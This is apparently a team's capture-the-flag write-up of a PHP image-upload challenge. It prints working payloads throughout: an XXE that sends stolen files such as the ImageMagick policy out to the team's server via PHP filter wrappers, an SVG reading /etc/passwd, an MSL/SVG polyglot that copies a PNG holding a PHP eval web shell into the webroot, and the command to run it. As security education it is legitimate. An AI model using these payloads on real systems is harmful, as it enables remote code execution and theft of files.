The challenge is an image storage service implemented as a PHP script. The source can be retrieved via a hidden link on the main page (it leads to
/?action=src). The script is running inside Apache.
When an image file is uploaded it goes through the following steps:
- It's checked using
mime_content_type. This function must return one of
- If it's
image/jpeg, the file goes to
getimagesizeand must return correct value. Otherwise, it goes to
DOMDocument->loadXMLand must not fail.
convertis executed on the file to generate a thumbnail. It must return zero status.
- The original file (along with the thumbnail) is placed in the
uploadsubdirectory in the webroot. The extension is set based on the mime type from step one (so trivial
png_with_a_shell_inside.phpwould not work).
If one of the steps above fails, the rest is not executed. If the processing succeeds, you can get the full path to the image via listing on the index page.
The task had more stuff which left unused by our solution. There was a class begging for unserialize, XXE which allowed local file read and information leak via
phpinfo(). The whole source can be found here.
The way site parsed SVG for validation was vulnerable to a classic XXE.
$xmlfile = file_get_contents($file); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $svg = simplexml_import_dom($dom);
This configuration allows external entities and external DTD. Exploiting it was not required for solving the task, but we used it in information gathering stage, one of the main goals during it was to get ImageMagick config
/etc/ImageMagick-6/policy.xml to find out what can we use in exploit against ImageMagick. We used a standard out-of-band exfiltration technique to steal files - we sent this SVG:
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT svg ANY > <!ENTITY % remote SYSTEM "http://bushwhackers.ru:8003/ev.xml" > %remote;%template; ]><svg>&res;</svg>
Which included XML
ev.xml from our server which looked like this
<!ENTITY % secret SYSTEM "THING_TO_STEAL" > <!ENTITY % template "<!ENTITY res SYSTEM 'http://bushwhackers.ru:8003/a?%secret;'>">
Few complications we faced were that SimpleXML in PHP is rather strict and won't open URLs with "bad" characters. We solved that by using PHP URL wrapper
convert.base64-encode to base64-encode file contents. Another problem was that it did not allow too large URLs (and aforementioned ImageMagick config was too large). PHP wrappers again helped us - it turned out we can use
zlib.deflate to compress file contents. So our final
ev.xml used to steal
policy.xml looked like this
<!ENTITY % secret SYSTEM "php://filter/convert.base64-encode/resource=php://filter/zlib.deflate/resource=file:///etc/ImageMagick-6/policy.xml" > <!ENTITY % template "<!ENTITY res SYSTEM 'http://bushwhackers.ru:8003/a?%secret;'>">
There're several ImageMagick vectors we've combined to get RCE:
- Some Debians appear to have insecure ImageMagick configuration by default, specifically, a lot of dangerous formats are allowed. Another thing is that you can put an image tag with
<format>:<path>into an SVG and ImageMagick will try to parse the path as if it was of the format you specified. For example the
text(pseudo)format just prints a file as text, so this svg:
<?xml version="1.0" encoding="UTF-8"?> <svg width="120px" height="120px"> <image width="120" height="120" href="text:/etc/passwd" /> </svg>
- By default ImageMagick comes with support for a very special image format: MSL (Magnificent Shell Landing). Its sole purpose is copying images with a php shell inside to the web root (it allows to set
phpfile extension of course). Even more convenient for this case, the format is XML-based. An MSL file looks like this:
<image> <!-- ImageMagick's legend is "image processing" so the tag is named "image". --> <read filename="image.png" /> <!-- To make the legend more compelling "image.png" is checked to be a valid image file. --> <write filename="/var/www/html/shell.php" /> <!-- This line gives access to a hacker accomplishing the mission of the MSL format and ImageMagick in general --> </image>
This format is not autodetected by the signature so we cannot just upload it. However, we can use SVG: if we place an MSL file in some known location we can just put
href="msl:/path/to/file.msl" into the SVG example above and the web shell will be copied.
So to solve the challenge we need to put an MSL file somewhere on the server and get the path to it.
We tried to use phpinfo + slow response read for retrieving the path to
/tmp/phpXXXXXX temp file before it gets deleted, but this trick didn't work in the environment of the task.
- After several tries we ended up with this file:
<?xml version="1.0" encoding="UTF-8" ?> <!-- <svg> --> <image> <read filename="image.png" /> <write filename="/var/www/shell.php" /> <svg width="120px" height="120px"> <image href="image.png" /> </svg> </image>
There are some interesting things about this file:
- Because of
<svg>inside the comment on the second line,
mime_content_typewill detect the file as image/svg+xml.
- If we execute
convert msl:file zalupa.pngthe MSL instructions are executed (that is,
image.pngis moved to
- If we execute ImageMagick without format specifier (like
convert file zalupa.png) it is parsed as an SVG. ImageMagick doesn't care about the fact that the
svgtag is not the first one, it just wants it somewhere. Another thing to note is the internal
<image href="image.png" />). It is invalid for MSL, however, if we hadn't added it, ImageMagick would have tried to parse the external
imagetag in the SVG (and fail, as it doesn't have
hrefattribute). But if there's a fake internal
imagetag ImageMagick forgets about the invalid one.
The attack scenario
Let's put all the pieces together.
First, we upload a png that includes a php shell in the comment (create it by
convert -size 100x100 -comment '<?php eval($_GET["cmd"]); ?>' rgba:/dev/urandom shell.png). It is successfully processed and the index page will show the path to it. Assume it is
upload/<hash>/<image>.png, so the local path is
We upload our polymorph:
<?xml version="1.0" encoding="UTF-8" ?> <!-- <svg> --> <image> <read filename="/var/www/html/upload/<hash>/<image>.png" /> <write filename="/var/www/html/upload/shell_huihui.php" /> <svg width="120px" height="120px"> <image href="/var/www/html/upload/<hash>/<image>.png" /> </svg> </image>
It is successfully processed (as an SVG). Again, we can get the full path via the index page. Let's say it's
- We upload an SVG which looks like this:
<?xml version="1.0" encoding="UTF-8"?> <svg width="120px" height="120px"> <image width="120" height="120" href="msl:/var/www/html/upload/<hash>/<image2>.svg" /> </svg>
It passes the
DOMDocument->loadXML checks so
convert is executed on the file. It will fail after discovering invalid MSL instructions. However, the web shell will be already moved to the webroot.
- We go to http://gphotos2.ctfcompetition.com:1337/upload/shell_huihui.php?cmd=system('/get_flag') and get the flag.